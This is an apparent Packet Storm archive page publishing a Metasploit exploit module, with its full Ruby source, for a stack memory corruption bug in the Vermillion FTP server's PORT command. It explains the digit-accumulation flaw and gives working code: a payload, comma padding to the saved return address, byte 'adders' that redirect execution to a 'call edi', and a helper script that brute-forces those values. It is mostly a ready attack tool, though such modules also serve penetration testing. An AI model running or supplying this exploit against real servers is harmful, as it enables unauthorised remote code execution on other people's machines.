exploit the possibilities

Vermillion FTP Daemon PORT Command Memory Corruption

Vermillion FTP Daemon PORT Command Memory Corruption
Posted Feb 10, 2010
Authored by jduck | Site metasploit.com

This Metasploit module exploits an out-of-bounds array access in the Arcane Software Vermillion FTP server. By sending an specially crafted FTP PORT command, an attacker can corrupt stack memory and execute arbitrary code. This particular issue is caused by processing data bound by attacker controlled input while writing into a 4 byte stack buffer. Unfortunately, the writing that occurs is not a simple byte copy. Processing is done using a source ptr (p) and a destination pointer (q). The vulnerable function walks the input string and continues while the source byte is non-null. If a comma is encountered, the function increments the the destination pointer. If an ascii digit [0-9] is encountered, the following occurs: *q = (*q * 10) + (*p - '0'); All other input characters are ignored in this loop. As a consequence, an attacker must craft input such that modifications to the current values on the stack result in usable values. In this exploit, the low two bytes of the return address are adjusted to point at the location of a 'call edi' instruction within the binary. This was chosen since 'edi' points at the source buffer when the function returns. NOTE: This server can be installed as a service using "vftpd.exe install". If so, the service does not restart automatically, giving an attacker only one attempt.

tags | exploit, arbitrary
MD5 | 0dbcd2c3469f1061e7b7ab3d2f7daa4c

Vermillion FTP Daemon PORT Command Memory Corruption

Change Mirror Download
##
# $Id: vermillion_ftpd_port.rb 8410 2010-02-08 18:53:21Z swtornio $
##


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'Vermillion FTP Daemon PORT Command Memory Corruption',
'Description' => %q{
This module exploits an out-of-bounds array access in the Arcane Software
Vermillion FTP server. By sending an specially crafted FTP PORT command,
an attacker can corrupt stack memory and execute arbitrary code.

This particular issue is caused by processing data bound by attacker
controlled input while writing into a 4 byte stack buffer. Unfortunately,
the writing that occurs is not a simple byte copy.

Processing is done using a source ptr (p) and a destination pointer (q).
The vulnerable function walks the input string and continues while the
source byte is non-null. If a comma is encountered, the function increments
the the destination pointer. If an ascii digit [0-9] is encountered, the
following occurs:

*q = (*q * 10) + (*p - '0');

All other input characters are ignored in this loop.

As a consequence, an attacker must craft input such that modifications
to the current values on the stack result in usable values. In this exploit,
the low two bytes of the return address are adjusted to point at the
location of a 'call edi' instruction within the binary. This was chosen
since 'edi' points at the source buffer when the function returns.

NOTE: This server can be installed as a service using "vftpd.exe install".
If so, the service does not restart automatically, giving an attacker only
one attempt.
},
'Author' =>
[
'jduck'
],
'References' =>
[
[ 'OSVDB', '62163' ],
[ 'URL', 'http://www.exploit-db.com/exploits/11293' ],
[ 'URL', 'http://www.global-evolution.info/news/files/vftpd/vftpd.txt' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Privileged' => true,
'Payload' =>
{
# format string max length
'Space' => 1024,
'BadChars' => "\x00\x08\x0a\x0d\x2c\xff",
'DisableNops' => 'True'
},
'Platform' => 'win',
'Targets' =>
[
#
# Automatic targeting via fingerprinting
#
[ 'Automatic Targeting', { 'auto' => true } ],

#
# specific targets
#
[ 'vftpd 1.31 - Windows XP SP3 English',
{
'OldRet' => 0x405a73, # not used directly
'Ret' => 0x4058e3, # not used directly
# call edi in vftpd.exe (v1.31)
'Offset' => 16, # distance to saved return
'Adders' => "171,48" # adjust the bottom two bytes
}
]
],
'DisclosureDate' => 'Sep 23 2009',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(21),
], self.class )
end


def check
connect
disconnect
print_status("FTP Banner: #{banner}".strip)
if banner =~ /\(vftpd .*\)/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end


def exploit

# Use a copy of the target
mytarget = target

if (target['auto'])
mytarget = nil

print_status("Automatically detecting the target...")
connect
disconnect

if (banner and (m = banner.match(/\(vftpd (.*)\)/))) then
print_status("FTP Banner: #{banner.strip}")
version = m[1]
else
print_status("No matching target")
return
end

self.targets.each do |t|
if (t.name =~ /#{version} - /) then
mytarget = t
break
end
end

if (not mytarget)
print_status("No matching target")
return
end

print_status("Selected Target: #{mytarget.name}")
else
print_status("Trying target #{mytarget.name}...")
end


connect

stuff = payload.encoded
# skip 16 bytes
stuff << "," * mytarget['Offset']
# now we change the return address to be what we want
stuff << mytarget['Adders']

if (res = send_cmd(['PORT', stuff]))
print_status(res.strip)
end

disconnect
handler

end

end


=begin

NOTE: the following code was used to obtain the "Adders" target value.
I'm not extremely pleased with this solution, but I haven't come up with
a more elegant one...

=========================
#!/usr/bin/env ruby
#
# usage: ./find_adder.rb <old ret> <new ret>
# example: ./find_adder.rb 0x405a73 0x004058e3
#

$old_ret = ARGV.shift.to_i(16)
$new_ret = ARGV.shift.to_i(16)

oret = [$old_ret].pack('V').unpack('C*')
nret = [$new_ret].pack('V').unpack('C*')


def process_idx(oret, nret, adders, idx)
new_val = oret[idx]
digits = adders[idx].to_s.unpack('C*')
digits.each { |dig|
dig -= 0x30
new_val = (new_val * 10) + dig
}
return (new_val & 0xff)
end


# brute force approach!
final_adders = [ nil, nil, nil, nil ]

adders = []
4.times { |idx|
next if (oret[idx] == nret[idx])
10.times { |x|
10.times { |y|
10.times { |z|
adders[idx] = (x.to_s + y.to_s + z.to_s).to_i

val = process_idx(oret, nret, adders, idx)
if (val == nret[idx])
final_adders[idx] = adders[idx]
end

break if (final_adders[idx])
}
break if (final_adders[idx])
}
break if (final_adders[idx])
}
}


# check/print the solution
eret = []
4.times { |idx|
eret << process_idx(oret, nret, adders, idx)
}
final = eret.pack('C*').unpack('V')[0]
if (final == $new_ret)
puts final_adders.join(',')
exit(0)
end

puts "unable to find a valid solution!"
exit(1)

=end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    60 Files
  • 2
    Apr 2nd
    20 Files
  • 3
    Apr 3rd
    15 Files
  • 4
    Apr 4th
    5 Files
  • 5
    Apr 5th
    5 Files
  • 6
    Apr 6th
    27 Files
  • 7
    Apr 7th
    31 Files
  • 8
    Apr 8th
    0 Files
  • 9
    Apr 9th
    0 Files
  • 10
    Apr 10th
    0 Files
  • 11
    Apr 11th
    0 Files
  • 12
    Apr 12th
    0 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close